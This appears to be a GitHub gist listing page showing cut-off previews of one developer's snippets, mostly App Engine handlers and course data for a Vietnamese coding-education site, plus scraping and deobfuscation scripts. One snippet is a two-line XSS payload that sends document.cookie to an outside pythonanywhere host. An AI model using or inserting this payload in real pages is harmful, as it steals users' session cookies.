This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class TeacherHandler(BaseHandler): | |
@user_required | |
@teacher_required | |
def get(self): | |
self.response.write('Only teacher can access this page') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class CheckpointMeHandler(BaseHandler): | |
@user_required | |
@as_json | |
def post(self): | |
import json | |
from application.models import File, ExerciseCheckpointUser, ExerciseItemUser, \ | |
ExerciseUser, CourseUser, ExerciseProject, ExerciseItem, Exercise, Course | |
from api.restful import current_user | |
from google.appengine.ext import ndb | |
body_data = json.loads(self.request.body) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
name: 'Bài tập tính toán đơn giản', | |
units: [ | |
{time: '05:00', description: 'Làm quen với cú pháp python', src: "/course//practice/viewer#!?exercise_id=cs101"}, | |
{time: '05:00', description: 'Thực hành tính một phép tính cơ bản', src: "/course/practice/viewer#!?exercise_id=cs101"}, | |
] | |
}, | |
{ | |
name: 'Bài tập xem ngày và giờ', | |
units: [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def easylearncode_validate(result,code,output,error=None): | |
#validate code in here | |
if error: | |
return "Code ban co loi nay nek " + error | |
return True |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import javascriptobfuscator | |
code = open('script.js','r').read() | |
if javascriptobfuscator.detect(code): | |
code = javascriptobfuscator.unpack(code) | |
f = open('script.out.js','w') | |
f.write(code) | |
f.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_test_case(weekly_quiz_level, **kwargs): | |
import urllib | |
import logging | |
import json | |
from google.appengine.ext import ndb | |
from google.appengine.api import urlfetch | |
from application.config import config | |
from application.models import WeeklyQuiz, WeeklyQuizRunCodeResult, File, WeeklyQuizUser | |
from google.appengine.api import channel |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(i, s, o, g, r, a, m) { | |
i['GoogleAnalyticsObject'] = r; | |
i[r] = i[r] || function() { | |
(i[r].q = i[r].q || []).push(arguments) | |
}, i[r].l = 1 * new Date(); | |
a = s.createElement(o), | |
m = s.getElementsByTagName(o)[0]; | |
a.async = 1; | |
a.src = g; | |
m.parentNode.insertBefore(a, m) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var img = Image(); | |
img.src = 'http://nampnq.pythonanywhere.com/test_csrf?cookie'+document.cookie |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
import os | |
from urlparse import urljoin | |
def save(resource_url, resource_dir): | |
directories , _ = os.path.split(resource_dir) | |
if directories != '': | |
if not os.path.exists(directories): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Duck: | |
def speak(self): | |
print 'Quack quack' | |
def speak(self): | |
print 'Gau gau' | |
Duck.speak = speak |
OlderNewer